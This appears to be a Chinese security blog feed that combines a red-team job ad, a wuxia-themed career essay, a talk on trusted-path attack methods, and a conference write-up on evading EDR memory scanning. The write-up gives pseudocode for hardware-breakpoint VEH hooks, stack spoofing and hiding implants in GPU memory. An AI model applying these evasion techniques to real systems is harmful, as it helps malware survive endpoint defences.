腾讯云鼎攻防持续招聘~

岗位：高级攻防工程师/专家

坐标：北京（集团） 、深圳（集团） ；西安（子公司）、武汉（子公司）

岗位职责

1. 开展前沿攻防技术研究，构建攻防对抗体系；

2. 内部红蓝演练、渗透测试，验证腾讯云安全防御水位，促进平台安全建设；

3. 内部安全产品测试，提升内部产品力；

4. 承接对外的商业化红蓝项目，实战攻防拿目标权限。

岗位要求

1. 本科，攻防渗透经验超3年；

2. 技能标签：漏洞、木马、武器、对抗、靶标；

3. 擅长后渗透，具备独立的大型内网渗透经验，能够对抗防护产品（端侧、流量测），极致的权限维持手法，能够突破隔离获得靶标权限；

4. 精通一门或多门技术：后渗透（主需求）、漏洞挖掘、武器开发、移动安全、云安全、人工智能 等维度；

5. 在细分技术领域，有自己的攻防知识体系，能够主动带节奏推进工作。

有意者可后台发消息或投递简历到

Y2hueXVhbnBhbkB0ZW5jZW50LmNvbQ==

这个图片后期可能会失效，但攻防高手持续招聘（可联系后台），欢迎各位大神自荐和推荐。

跳转微信打开

为什么郭靖在成长的过程中，有那么多的顶级大佬帮助他？是什么能量成就他的成长和成功？

        春节期间上映了射雕英雄传：侠之大者 (2025) 。上次在TLG潜龙会第一次线下聚会分享过个人成长（郭靖）和团队管理（武当派）方向的内容。借假期，归档分享。

        为什么郭靖在成长的过程中，有那么多的顶级大佬帮助他？是什么能量成就他的成长和成功？本文分析下郭靖在一些关键节点对“老师们”的付出与回报。

第一任师父：李萍（郭靖的母亲）

正确的价值观：诚实守信、责任感、乐于助人，也教导他铭记家国大义。

李萍见儿子头上脸上鞭痕累累，好不心疼，但听哲别说起儿子的刚强侠义，便道：“乖孩子，为人该当如此。”（小郭靖救了哲别后）

李萍又道：“人生百年，转眼即过，生死又有什么大不了？只要一生行事无愧于心，也就不枉了在这人世走一遭。倘若别人负了我们，也不必念他过恶。你记着我的话罢！（自杀前说的话）

第二任师傅/贵人：哲别（神箭手）/托雷/铁木真

付出：救了哲别性命、刚强的性格（原文：我不说）

回报：射箭的技能（蒙古军的核心技能）；托雷结拜（小时候玩伴）；铁木真赏识（救过铁木真、华筝）；带兵打仗-实战的本领；回中原的第一手人脉就是蒙古贵族

哲别感念郭靖的恩义，对他母子照顾周到，准拟郭靖年纪稍大，就把自己的箭法武功倾囊相授。

铁木真见是幼子平素在颈中所带的黄金项圈，微微一笑，道：“你们两个以后可要相亲相爱，互相扶助。”拖雷和郭靖点头答应。

第三任师父：江南七怪

缘由：江南七怪与丘处机的赌约

回报：武功技能、重信义（忠厚）、侠义价值观

ps:江南七怪，言传身教一诺千金，为了跟丘处机打赌，去大漠12年，悉心培养“天资愚钝”的小郭靖；柯镇恶的人品深刻影响郭靖：他的疾恶如仇、爱憎分明、豪迈慷慨、正直无私，都言传身教地向郭靖展示：一个正派的江湖人应该怎样行事。

第四任师傅：马钰道长（全真教）

回报：两年玄门正宗内功，同期七怪的武功教授迅速提升 【思定则情忘，体虚则气运，心死则神活，阴盛则阳消。】

第五任贵人：黄蓉

付出：欣赏小叫花（大餐、汗血宝马、貂）简单、真诚打动    

回报：后面所有的成事/成功，基本都有黄蓉的驱动

ps:郭靖请黄蓉那顿大餐花了十九两七钱四分，折合现在人民币大概是20000元（普通人会花两万元请一个小叫花子吃饭么？）；当然赠送小红马的价值更高（普通人别说汗血宝马，八手的3系宝马BMW也不舍得啊...），当然这跟郭靖出场的条件有关，他来中原时成吉思汗赏了他黄金10斤作为盘缠（如果按照现在黄金600/g,价值300万元~，所以他可能也不太在乎这两万的餐费，2333），当然武侠世界，金钱不是绝对的标准，武功和侠义才是核心度量衡。

第六任师父：洪七公

付出：忠厚的品质（适合这个武功）、黄蓉给做了很多好吃的（洪七又贪吃）

回报：降龙十八掌（核心技能），成为北丐的弟子（具备去桃花岛求亲的入场券）

第七任师傅：周伯通（结拜大哥）

付出：桃花岛赴约（信义）、实力、共情（陪玩，代价：摔了七八百交）、救老顽童两次（抵御箫声、吸蛇毒-利他）

回报：结拜大哥； 空明拳、左右互搏术、九阴真经全文背诵（遥遥领先；求婚成功）

郭靖只摔得全身都是乌青瘀肿，前前后后摔了七八百交，仗着身子硬朗，才咬牙挺住，但周伯通在洞中十五年悟出来的七十二手“空明拳”（共情&陪玩阶段）

郭靖听他语音发颤，知他受毒甚深，若非以上乘内功强行抵御，早已昏迷，慌急之中，弯下腰去就在他伤口上吮吸。周伯通急叫：“使不得，这蛇毒非比寻常，你一吸就死。”郭靖这时只求救他性命，哪里还想到自身安危，右臂牢牢按住他下身，不住在他创口上吮吸。周伯通待要挣扎阻止，全身已然酸软，动弹不得，再过一阵，竟晕了过去。（周伯通中毒后，郭靖舍己救人。利他）

第八任师傅：一灯大师

付出：bypass渔樵耕读（技术过硬）、真诚的性格&利他（救了一灯性命(PK 瑛姑)）、帮助一灯恢复功力

回报：救黄蓉；获得九阴真经-梵文总纲（二次华山论剑 实战能力 >300招 东邪&北丐）

一灯惊叹无已，说道：“此中原委，我曾听重阳真人说过。撰述九阴真经的那位高人黄裳不但读遍道藏，更精通内典，识得梵文。他撰完真经，下卷的最后一章是真经的总旨，真经最高秘奥，全在总旨之中，前面所有难以明解的关锁，总旨乃是钥匙。他忽然想起，此经倘若落入心术不正之人手中，持之以横行天下，无人制他得住。但若将这章阐明最高武学的总旨毁去，总是舍不得，于是改写为梵文，却以中文音译，心想此经是否能传之后世，已然难言，中土人氏能通梵文者极少，兼修上乘武学者更属稀有

ps:以上几个老师，技艺上的传承用的是师傅，做人以及价值观的传承用的师父。

        当然，郭靖成长绝不是全都是贵人，同样也有对抗、背刺~，如果能在困难/危机中还可以收益（蓄力第二曲线），效果更佳。反脆弱应用实战的几个人（一直跟郭靖做对，郭靖挨揍不少）：

1. 梁子翁

前期开场，郭靖基本谁都打不过，为了救王初一，偷药。

回报：吸了十多年的蛇血，强化体力、略显百毒不侵（桃花岛帮助老顽童吸毒时顽强对抗）

2. 裘千仞    

价值观不同；对战时，黄蓉受伤。

回报：获得武穆遗书（带兵打仗）、引出一灯（梵文总纲）

3. 欧阳锋

皇宫对战欧阳锋受伤，牛家村曲三酒馆疗伤（悟懂天罡北斗阵、疗伤法）

回报：武学宗师大漠陪练一个月(双赢，欧阳锋想得到九阴真经、郭靖强化了实战能力以及九阴真经的融会贯通)

4. 杨康

两个人家世渊源，名字由来靖康之耻；“杨兄弟”；杨康背刺郭靖（错信的代价）；嘉兴之约（杨康使计谋杀了江南五怪~）

回报：当代人略显对立，下一代郭靖的真诚还是感动了杨过（真诚是必杀技）

郭靖每次都能在挨揍中成长，可能普通人挨揍就被打死了…，但在挨揍中/困境中思考总归是有增益。

对于普通人的成长启示？

普通人，三次重要的机会：          
      一、学历（玄门正宗、五绝的徒弟） 

二、婚姻（黄蓉） 

三、自我觉醒（我是谁？为什么要会武功？二次华山论剑，大侠路线）          

      开挂需要四种人：          
      一、名师指路（很多大佬点拨/教授/陪练）

二、贵人相助  (郭靖具备很强的利他属性)          

三、亲人支持（郭母的支持、黄蓉非常支持郭靖，侠之大者）      

四、小人刺激（欧阳锋、裘千仞）

        郭靖的成长史同样符合上篇《金庸武侠-非线性理解的屌丝逆袭》关键要素：家庭背景、门派圈层、导师/老师、个人天赋、个人努力；

附射雕英雄传脉路推动图

附郭靖的人脉关系图（神雕后期）

阅读原文

跳转微信打开

饱和攻击、对抗攻击、信任攻击；白能力

Author: sm0nk@深蓝攻防实验室

上周在一个技术沙龙我分享了一个攻防相关议题——进击的白巨人，在此归档。

1. 进攻场景思考

1. 无论是端侧产品还是流量侧产品、亦或是原生安全还是外挂式，主模式还是鉴黑和鉴白；

2. 随着防守方强化的安全建设，安全产品越来越强，进攻的难度在增加；

3. 但攻击方仍然有可乘之机，如何能躲避鉴黑或者鉴白呢？

2. 攻击版本迭代    

v1.0 饱和攻击阶段，捏软柿子、大扫描

v2.0 对抗攻击阶段，泛化0day和社工 能力，静默 隐匿 无感

v3.0 信任攻击阶段，不攻击的攻击，泛化“白”能力（不战而屈人之兵）

下面我们从红队的各个模块：信息收集、Web渗透、社工钓鱼、木马&维持、内网横向、目标获取 ，有哪些“白”手法：

3. 信息收集    

1. 攻击方帮助防守人员盘存资产

(1)资产动态监控

①例如新增的域名资产、IP资产、端口资产、新增功能等

(2)漏洞空窗期

①修复新的0day需要一段时间，无论长短，抢时间

②甚至补丁的bypass，导致没有补丁

2. 体悟白名单人员工作难点（正难则反）

(1)预算有限，能省则省

①攻击方寻找防守方的墨菲

(2)移动端、逻辑漏洞、业务需要、责任划分（功能对接处）...

①移动端，好多是由于“壳”强则强，破壳后不一定那么强

②逻辑漏洞，具备一定的合理性，鉴黑逻辑并不是那么线性

③有一些功能，安全部门没有扭过业务部门，被迫上线

④多部门协同的衔接处往往是防守方可信且易忽略的

⑤某功能，处于“三不管”地带

⑥...

(3)你体系的筑建千里之堤，我体系的寻找蚁穴（不一定是零和，也可以正和）

①安全建设需要体系化，但搞破坏可能一个单点即可；攻防双方互相搞自己体系化；

②如果攻击者站在自己是防守视角哪些容易忽视或者不得已的做法，以及防守方站在攻击方视角有哪些是监控盲区哪些害怕被攻击。本身攻防双方也是动态的，也可以正和。    

4.Web渗透    

1. 接口类攻击

(1)寻找白名单接口

①业务接口正常调用

②虽然可以攻击，但功能是可信的也是业务需要的，进攻合理性

(2)非标业务接口

①目前实战中大部分还是Web相关协议

②非Web类协议也是容易躲避鉴黑流的打法，且本身属于白逻辑

2. 漏洞组合拳

(1)前台后台漏洞组合拳

①现在的审计漏洞挖掘难度也在提升，明显前台的RCE 不那么容易获得。

②参考《漏洞组合拳》，路径长一些，就相对迂回一些，但打漏洞依然高风险容易暴漏，如果有的选择，比如https+反序列化、逻辑洞 相对白一些，例如SSRF本身就是获得了一个合法的边界权限，是由于自身功能导致，并不是攻击者从利用漏洞新造的权限，感知平台不一定那么精准的发现。【我们不生产漏洞，我们只是大自然的搬运工】   

(2)正资产偏漏洞 vs 偏资产正漏洞

①正资产的正常漏洞少之又少，例如某集团官网shiro反序列化、淘宝官网RCE，这种概率极低。当然如果真有，以现在的防御水平，攻击者应该考虑这是不是蜜罐。

②在难突破的场景，可以考虑正资产偏门漏洞以及偏门资产的正漏洞组合来提升攻破概率。夯实渗透基本功

3.认证类攻击

(1)白化认证逻辑，无特征

①除了登录日志也没有攻击流量

②如果伴随着正常的业务管理行为，增大了排查难度

(2)拿到内/外网集权的登录认证比shell更有效

①减少打漏洞的痕迹，实现收益最大化，集权首屈一指

(3)攻破身份认证类体系

①e.g. 竹Y、派L、IAM系列，权限和信息都是重要途径，不一定必须shell

②ZeroTrust系列

5.社工钓鱼    

1.  寻找白名单人员构建高信任

2. 白名单人员：能出网的人、具备高权限的人员

(1)有些目标主机不出网，但总有出网的主机

(2)结合内外网渗透漏洞获得更多的联系人信息，借助邮箱、IM类，定位高权限人，钓关键人，关键人会帮我们成为“代言”，甚至帮我们打掩护，e.g. 运维人员自带突破隔离的效果

3. 业务流钓鱼，利用可信流程

4. 降低无辜者受害，让有正需求的人响应，满足自己同时满足对方，双赢，定期维护

5. ~

6.木马&维持    

1. C2

(1)降特征，内存执行，技术倾白化

2. 终端对抗

(1)白驱动 BYOVD

(2)功能致盲 让“白软件”传“黑”信。

①例如部分功能致盲后，终端软件会告诉总控，“我安全我安全~”

(3)白程序（云查为例）

①让杀毒认为木马“白”，利用杀软的算法和公式反脆弱

(4)利用系统自带组件实现提权/BypassUAC

(5)栈帧伪造（伪造合法的Api调用（白）链绕过栈回溯检测）【躲内存检测】

3. 流量绕过

(1)加密vs降熵; 隧道传出

(2)CDN 节点默认证书（白）

4. 白化 服务和进程    

(1)一种是肉眼不可见

(2)另一种是服务和进程虽然可见，但可信

7.内网横向    

1. 白化行为

(1)降低扫描甚至不扫描

(2)控集权

(3)打成正常管理流量

(4)寻找感知类产品的盲区，例如ipv6的监控、逻辑漏洞的监控、加密流量的迷惑...

2. ATO攻击（凭证窃取、密码复用、信息复用+认证推理...）

3. 被动攻击（水坑、键盘记录、流量劫持、监控...）    

4. 白业务（正常的业务管理功能，例如应用的审计功能、正常的调用）

5. 逻辑控制

8.目标获取    

1. 业务理解，数据输出位

(1)大部分业务系统，不只有一种形态的结果输出

(2)随着对抗升级，攻击方对行业的理解也在提升：金融、能源、运营商...

①理解业务，少走弯路；减少扫描带来的熵增

2. 巧用系统内部的可信功能（客服、帮助文档、提bug ...）

3. 优先认证攻击再打漏洞

4. 回归渗透本质

(1)阈值对抗、信息组合 ...

(2)时间够的前提，慢就是快

9.归纳总结    

实战中的无感一种是有痕迹但防守方不知道，另外一种攻击方的确留下很少的痕迹，甚至没有痕迹。但无论哪种，随着发展，攻击手法肯定越来复杂、越来越高级。

本文通过借助对目前防守方鉴黑和鉴白模式的思考，引出了红队各个模块的“白”能力——进击的“白”巨人（当然文中的这个白是自定义的， 有的也不一定白，甚至也是有痕迹的，但的确是一个思考方式和进攻模式）；定义了三个阶段的进攻模式：饱和攻击、对抗攻击、信任攻击，也不一定全面，给各位大佬当个参考。

阅读原文

跳转微信打开

内存检测逃逸必杀技~

Author: hunter@深蓝攻防实验室

本文为ADConf 原创议题

关于终端对抗

内存免杀的意义

Q：在当前BYOVD技术已经成熟且武器化且EDR检测能力也逐渐完善的环境下，为什么还要研究内存检测逃逸相关的技术？

A：首先要明确：高压环境下的EDR致盲目的不再是“一键卸载安全卫士/电脑管家”，而是要在企业级EDR控制端没有察觉的情况下致盲终端Agent的检测。

然而有些场景是不能完全依赖BYOVD的，我们的木马要被迫和完全体EDR共存

1. 加载驱动的黑白名单。

2. EDR的R3/R0组件中有类暗桩的存在。

3. 与EDR控制端通信的模块直接做在了R0里面，卸载驱动等同于直接切断通信。

4. 部分场景下，根本没有系统的高权限且无法提权。

5. 机器重启后，被致盲的EDR会恢复正常，权限维持的木马必须有一定存活能力。

6. ......

木马“内存免杀”需要聚焦的两个阶段：

1. Loader载入Shellcode并释放植入体的整个过程。

2. 植入体成功释放，核心代码线程在“运行——休眠”的过程中长期与EDR共存。

Loader原理

1. Loader外壳从某个地方（云端/本地/PE资源节等...）获取Shellcode（PIE代码），申请一段内存，将Shellcode写入并执行。Shellcode本体是通过转换工具（PengCode/donut等）将原C2客户端的PE转换成一个反射加载器。

   
   

2. Shellcode执行内置的反射加载器，重新申请内存空间，将打包的PE（植入体）释放到新内存区域。反射加载器会负责解析打包的PE文件头信息，完成重建导入表、重定位等工作。

   
   

3. 通过反射加载的dll导出表找到木马植入体，执行。木马植入体进入执行——休眠周期。    

EDR检测原理

EDR的标准实现方案

R3：借助API HOOK拦截敏感函数调用，跟踪参数和返回值。

主要在行为检测中应用，在内存检测中是个可选项，通过HOOK不同API实现不同的监控偏好（如NtAllocateVirtualMemory）。

R0：

• 内核回调-Windows / 内核探针（Kprobes）-Linux

• 内核钩子 - SSDT系统调用表、全局描述符表GDT、中断描述符表（IDT）钩子会和x64下的patch guard冲突，但依然有绕过方式。

• 借助ETW实现对底层调用的监控 - ETW是Windows提供的一个强大的消息跟踪机制，允许收集包括内核事件在内的各种系统级事件。通过订阅特定的ETW提供者和事件，EDR可以获得关于系统行为的详细信息。

• 硬件辅助 - Intel VT-x或AMD-V，在更低的硬件级别提供对执行环境的控制和监视。

下图为依赖内核回调触发R3 API Hook的函数调用检测方案，也是最通用的。    

内存扫描关键技术

策略① - 偏向精准检测

• R3 Hook，初筛敏感API调用；

• 利用ETW/硬件虚拟化/内核钩子等技术检测底层调用；

• 触发规则立即启动栈回溯；

• 重点扫描栈回溯过程中发现的可疑地址对应的内存。

精准检测策略主打快准狠，第一时间阻止植入体的释放或运行。但为考虑到误报和性能开销等实际问题，相对固定的规则可能会导致漏报。

策略② - 偏向持续检测

• 监控线程状态（包含线程的堆栈、运行状态等）；

• 对私有内存页进行扫描（通常在线程休眠时）；

• 搜索高熵区域、RWX等区域，重点标记；

• 对重点标记区提升扫描频率或重点监控该区域的读写、访问行为（可利用API Hook或底层调用的检测），直到探测到植入体相关特征。

主要为避免漏报。但同时为了降低误报，其规则可能不再是固定的模板而是个权重（或结合本地/云端AI模型来综合判定）。因此响应有一定延迟，这也就是为什么有些EDR的内存扫描开启后会允许木马正常运行一段时间再杀的原因。

32/64位程序的栈回溯

• 32位程序由于完全依赖栈实现参数传递，因此标准的栈结构是保存EBP作为基指针来访问局部变量和参数。栈回溯依赖于链式栈帧，通过保存在栈上的EBP寄存器链接，通过遍历这些链式栈帧精准可以找到每个调用的返回地址和调用者的栈帧。    

• 64位下由于主要使用寄存器传参，对栈的依赖减小，并且调用约定做了优化，只使用当前RSP的偏移来访问局部变量和参数，不再保存RBP。这种优化称为“省略帧指针”（FPO），但这也给栈回溯提升了难度，通常情况下为了降低算法复杂度，栈回溯需要借助.pdata节中的RUNTIME_FUNCTION结构（动态插桩或编译器插桩等精准回溯的方式对EDR来说不现实），不过这也给攻击者带来了便利。    

一个64位栈回溯的案例

对抗方案-精准检测

SYSCALL

可参考开源项目：GitHub - Dec0ne/HWSyscalls: HWSyscalls is a new method to execute indirect syscalls using HWBP, HalosGate and a synthetic trampoline on kernel32 with HWBP.

Unhook

• 方法1：将磁盘上“干净”的dll映射到当前进程中，读取.text节并覆盖被hook的dll的.text节。

• 方法2：创建一个白名单进程，读取其未被hook的dll，覆盖当前进程中dll的.text节。

• 方法3：没有白名单程序的情况下，在新进程启动加载完成dll时将其挂起，保留其中“干净”的dll快照，覆盖当前进程dll的.text节。

• ......

  
  

总结一句话：用一个“干净”的副本覆盖掉被Hook部分的代码。

Unhook效果如下：

栈回溯欺骗

注意：由于栈帧伪造是对应局部函数调用的，因此在反射加载器与核心植入体代码中实现才能达到效果最大化，因为绝大多数敏感函数的调用都在这两层的代码中；仅在“外壳”Loader中实现效果并不好。

1. 重写系统API替换高风险函数，如NtAllocateVirtualMemory()等；

2. 在重写的函数中，先保存现场存储当前线程上下文到一个全局结构体中，然后抬高栈顶，并PUSH 0，将真实的栈帧截断并隐藏起来；

3. 在这之上部署一个假栈（伪造一些常见的返回地址制作一个栈底和看上去合理的调用链）；

4. 在假栈上方部署一个Gadget Frame用来做跳转（跳转回高风险函数调用前的位置，比如预先从内存中找好的JMP [RBX]片段）；

5. 为跳转和堆栈恢复做准备，将真正的返回地址、RBX寄存器值放入结构体暂存，然后将堆栈恢复函数fixup()的地址给RBX，最后JMP到真正的函数调用；

6. 真正的函数调用完毕后会将部署的Gadget当作返回地址跳转至JMP [RBX]执行，而此时时RBX保存的是自定义方法中fixup()的地址，进入堆栈恢复函数，恢复帧栈和前面保存的寄存器，最后JMP回到原来高风险函数调用的位置。

   
   

概括：使用汇编重写敏感函数调用，在我们自己编写的调用约定中对栈进行布局，将原始栈帧隐藏在构造的假栈下面，干扰栈回溯算法的判断。在函数执行完成返回的时候再借助之前构造的gadget精准返回到原本的返回地址。    

直接调用与栈帧伪造的对比如下。

直接调用：

栈帧伪造：    

对抗方案-持续检测

思路整理

1. 防止反射加载器特征被扫描识别    

1. –自动探测并移除反射加载器在内存中的残留

2. 对抗线程休眠期间的栈回溯和内存扫描

1. –实现休眠期间栈欺骗

2. –休眠期间植入体内存页不可执行

3. –休眠期间针对植入体做内存转储

可参考的经验

参考案例-1：

https://github.com/mgeeky/ThreadStackSpoofer/tree/master；

1. 其利用hook Sleep()截断栈帧，以对抗线程休眠期间的栈回溯探测。该项目使用的inline hook内存特征明显，主动扫描很容易发现；

2. 该项目的MySleep()中没有对内存中的植入体和加载器残留做处理。

参考案例-2：

https://github.com/vxunderground/VXUG-Papers/blob/main/GpuMemoryAbuse.cpp；利用CUDA将内存转储至VRAM。

1. 该项目利用CUDA API仅适用于NVIDIA平台，通用性较低；

2. 该项目是一个测试Demo，仅实现了VRAM读写功能，无法直接整合到Loader中。

   
   

关键技术说明

“无内存特征”hook

简单对常见的R3 hook技术做个总结。

Win32 hook（Windows提供的API，局限性很强）

Windows提供了一套API，允许插入钩子来监视特定类型的事件，如键盘输入、鼠标移动等。这些钩子可以是全局的或特定于线程的。

回调函数hook（可以理解为Win32 hook的扩充，功能强大但并不能用于WinAPI）

可用于监控和干预许多系统级和应用级事件。除了监控键盘和鼠标事件之外，它们还可以用于                
监控消息队列：通过设置消息钩子（例如，WH_GETMESSAGE和WH_CALLWNDPROC），可以监控和修改应用程序的消息队列中的消息。               
监测系统状态变化：如设置WH_SHELL钩子来监控系统的各种状态变化，例如窗口的创建和销毁、系统的休眠和唤醒等。               
截获窗口活动：例如，通过WH_CBT（计算机基础训练钩子）可以监控窗口的创建、移动、大小调整等事件。               
监控低级别的鼠标和键盘输入：如之前例子中的WH_KEYBOARD_LL和WH_MOUSE_LL，这些钩子可以用来实现全局的键盘和鼠标输入监控，甚至在应用程序处理它们之前拦截这些输入。    

Inline hook（最通用，但需要对内存作hot patch）

通过修改目标函数的首部字节（通常是替换为跳转指令），将执行流重定向到钩子处理函数。当执行到达目标函数时，会跳转执行自定义的钩子函数。这种方式需要处理原始指令的备份和执行恢复，以确保目标函数的正常执行。

IAT/EAT hook（对动态加载的库不适用，且影响DLL的签名校验，针对ASLR还需要重定位）

通过修改应用程序的导入地址表（IAT）/DLL的导出地址表（EAT），将导入/导出的函数地址改为钩子函数的地址。主要用于拦截应用程序对DLL导出函数的调用/影响所有调用该DLL函数的应用程序。

局限

上面常见的hook多多少少都有一些缺陷，大家都在用的inline hook也因为需要修改内存而导致非常容易被检测到，不管是前面提到过的线程调用堆栈混淆的项目中使用到的hook还是minhook这类开源的hook框架都是用的这种传统的方式。                 
其实还有一种hook方式被忽略但又几乎天天都在用，那就是调试器。我们使用调试器的时候下个断点，轻轻松松就可以单步调试并且任意修改内存，这不也就实现了hook的效果？那么我们就需要研究一下调试器是怎么做到拦截程序执行流程的，并尝试模拟这一过程。

软件断点

软件断点主要通过修改目标程序的代码来实现，具体来说是通过替换目标地址处的指令字节为特定的断点指令。在x86架构下，这个特定的断点指令通常是INT 3（0xCC），当程序执行到达目标地址时，INT 3指令会触发一个异常，通常是一个断点异常（EXCEPTION_BREAKPOINT）。在替换目标地址处的指令之前，需要由调试器来保存该地址处的原始指令字节。                 
当断点触发时，控制权会转移到调试器，也可以是自定义的处理程序，在这个处理程序中可以执行自定义逻辑。                 
下图说明了软件断点的实现原理。                 
 

硬件断点

硬件断点是一种使用CPU硬件特性来实现的断点，它允许在不修改目标程序代码的情况下，监控程序的执行流、数据访问或处理器状态的变化。硬件断点通常通过使用CPU的调试寄存器（在x86架构中是DR0、DR1、DR2、DR3、DR6和DR7）来实现。                 
虽然刚刚提到的软件断点比起使用强制跳转指令（JMP）实现的Inline hook而言只需要修改一个单字节指令，但本质上依然需要修改内存，因此并没有达到真正“内存无痕”的效果。我们还是要使用硬件断点来实现，后面会详细说明硬件断点的使用方法和实现原理。

VEH

VEH（Vectored Exception Handling）是Windows操作系统中的一种异常处理机制，它允许开发者在应用程序或DLL中注册一个或多个异常处理函数，这些函数会在传统的结构化异常处理（SEH, Structured Exception Handling）之前被调用。VEH提供了一种机制，程序可以通过它捕获和处理各种异常，包括访问违规、除零错误和其他严重错误，甚至包括软件断点（INT 3）和单步执行（Trap Flag）产生的异常。  

               
VEH通过AddVectoredExceptionHandler()和RemoveVectoredExceptionHandler()这两个API函数来管理异常处理函数（称为Vectored Exception Handler）。当异常发生时，系统会按照这些处理函数被添加的顺序调用它们，直到某个处理函数处理了该异常（返回EXCEPTION_CONTINUE_EXECUTION），或者所有的处理函数都没有处理该异常，最后交给SEH（如果存在）来处理。

访问设备内存

前面提到的案例中实现的使用GPU设备隐藏恶意代码的demo是基于CUDA开发的，但CUDA仅适用于安装有Nvidia GPU设备的环境。为了更加通用，我决定使用OpenCL重构。    

OpenCL的运行环境会集成在任何一款GPU的驱动程序包中，也就是说只要电脑上有GPU（不管是集成的还是独立的）都可以直接使用OpenCL的API；至于没有GPU的设备（如服务器/虚拟机）也可以使用msiexec无感知一键部署OpenCL的CPU Runtime，计算设备将会在CPU上模拟运行，分配的“显存”也是由OpenCL Runtime管理的一块单独的内存，和调用者进程依旧是相互独立的。          

     
下图是OpenCL的执行模型（Global Memory指的是GPU的VRAM，参与数据处理和运算的单元只能直接访问VRAM）。  

这里再简单介绍一下同类可合法调用GPU设备的API。               
OpenCL与CUDA：都是用于并行计算，但CUDA仅限于NVIDIA GPU，而OpenCL是开放标准，支持更广泛的硬件（包含CPU和FPGA）。

               
下图是OpenCL与CUDA框架的对比。这里的OpenCL driver和runtime在任何一款显卡驱动中都会集成，而CUDA driver和runtime只有Nvidia显卡才有；二者最大区别就是OpenCL由于需要保证跨平台兼容性，是通过OpenCL驱动程序间接访问设备的，而CUDA是Nvidia为自家设备研发，所以可以直接使用自己的驱动访问硬件设备。                               

OpenGL、DX12和Vulkan：这三者都用于图形渲染，但OpenGL是更早的标准，DX12是仅限于Windows和Xbox的微软技术，而Vulkan是最新的、旨在提供跨平台支持并优化硬件性能的API。               
OpenGL和OpenCL：虽然名称相似且都由Khronos Group管理，但它们服务于不同目的：OpenGL专注于图形，OpenCL专注于通用计算。    

技术实现

1. 准备工作——创建全局OpenCL内存对象，并设置Sleep()的硬件断点，等待程序调用Sleep()；

2. 在自定义VEH中记录当前植入体内存页相关信息并将反射加载器残留内存页释放；

3. 修改VEH暂存的线程上下文结构体中的RIP，引导其返回到自定义Sleep()方法；

4. 在自定义Sleep()方法中将可疑内存页写入OpenCL内存对象的缓冲区，通过OpenCL库写入VRAM；

5. 在自定义Sleep()方法中关闭内存页X权限；

6. 在自定义Sleep()方法中暂存返回地址并将真实返回地址覆盖为0x00，截断栈帧；

7. 在自定义Sleep()方法中调用真正的Sleep();    

8. 在自定义Sleep()方法返回前恢复内存页。访问OpenCL内存对象的缓冲区，取出之前转储的数据；重新开启内存页X权限；恢复暂存的返回地址。

9. 正常返回到植入体代码的CALL Sleep()下一条指令位置，进入下一循环周期。

   
   

总的来说，该植入体隐藏技术方案是基于之前在Defence.one会议上分享的动态加解密方案的变体，将内存中加密改成了转储VRAM，将常规的inline hook换成了没有内存特征的硬件断点hook。

注意：由于该方案是基于对特定函数调用进行Hook实现的，因此建议内置在作为“外壳”的Loader中。可与前面的方案配合实现互补。

参考方案1：    

参考方案2：

自定义VEH回调

下面的伪代码对应触发硬件断点后需要进入的自定义VEH函数以及VEH返回时需要重定向进入的mySleep()。

// 定义全局对象           
               
// 自定义VEH回调函数，由硬件断点触发（自动修改页权限，自动栈回溯追踪反射dll加载的内存页）                

LONG CALLBACK myVEHHandler_4(EXCEPTION_POINTERS* pExceptionInfo) {                    if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && (DWORD_PTR)pExceptionInfo->ContextRecord->Rip == hwbp.mySleepAddr) {                        MEMORY_BASIC_INFORMATION mbi;                        if (((SIZE_T(WINAPI*)(LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T))hwbp.myVirtualQueryAddr)(*reinterpret_cast(pExceptionInfo->ContextRecord->Rsp), &mbi, sizeof(mbi))) {                            // 在第一个执行周期中释放反射加载器的内存                            if (hwbp.shellcodeAddr != static_cast(mbi.AllocationBase)) {                                if (!VirtualFree(hwbp.shellcodeAddr, 0, MEM_RELEASE)) {                                    exit(-1);                                }                                // 释放内存并将指针指向反射加载的植入体并更新内存页相关信息                                // 转储进VRAM然后清除临时buffer                            }                            else {                                // 更新OpenCl的buffer，内存页相关信息保持不变                            }                        }                        else {                            exit(-1);                        }

            
        // 通过指针调用自己写的Sleep后手动返回（手动重设Rip和线程上下文）                

hwbp.SleepTime = (DWORD)pExceptionInfo->ContextRecord->Rcx;                        pExceptionInfo->ContextRecord->Rip = (DWORD64)hwbp.mySleep;                        pExceptionInfo->ContextRecord->ContextFlags = CONTEXT_FULL;                        HANDLE hHookThread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());                        if (!hHookThread) {                            exit(-1);                        }                        SetThreadContext(hHookThread, pExceptionInfo->ContextRecord);                        return EXCEPTION_CONTINUE_EXECUTION;                    }                    return EXCEPTION_CONTINUE_SEARCH;                }

               
// 自己实现的Sleep                

void WINAPI HardwareBP::mySleep(DWORD dwMilliseconds)                {                    // 将返回地址暂时改为0，切断栈回溯                    // 设置RW                    // 清空植入体内存页                    // 临时解Hook                    // 调用原始Sleep函数                    Sleep(hwbp.SleepTime);                    // 重新Hook                    // 取回植入体                    // 清理堆                    // 解XOR                    // 设置RWX                    // 恢复返回地址                }

接下来详细解释一下伪代码中的几个关键步骤分别做了什么工作。

配置硬件断点

首先讲一下硬件断点配置中最关键的寄存器Dr7。               
Dr7用于控制和管理硬件断点，它包含多个位字段，用于控制和配置硬件断点的行为。以下是DR7寄存器的一些关键位字段及其功能。               
L0, L1, L2, L3（0, 2, 4, 6位）：这些局部使能位用于控制每个硬件断点（DR0-DR3）是否启用。如果对应的位被设置为1，则相应的断点被启用。               
G0, G1, G2, G3（1, 3, 5, 7位）：这些全局使能位也用于控制每个硬件断点（DR0-DR3）是否启用，但它们是从全局的角度进行控制。这意味着，即使在任务切换时，这些断点也仍然有效。               
LE和GE位（8和9位）：这些位用于控制局部和全局断点是否对处理器的所有任务有效。通常，这些位在现代操作系统中不经常使用，因为操作系统会负责管理这些设置。               
R/W0, R/W1, R/W2, R/W3（16-17, 20-21, 24-25, 28-29位）：这些字段用于设置每个硬件断点的触发条件。它们控制断点是在数据读取时、数据写入时，还是在指令执行时触发。值0表示断点被禁用，1表示断点在写入时触发，2表示在I/O读写时触发，3表示断点在数据读取或写入时触发。               
Len0, Len1, Len2, Len3（18-19, 22-23, 26-27, 30-31位）：这些字段用于定义每个断点监视的内存区域的大小。可以设置为1（表示1字节）、2（表示2字节）、4（表示4字节）或8（64位模式下表示8字节）。               
下面是一张英特尔提供的寄存器使用说明图。               

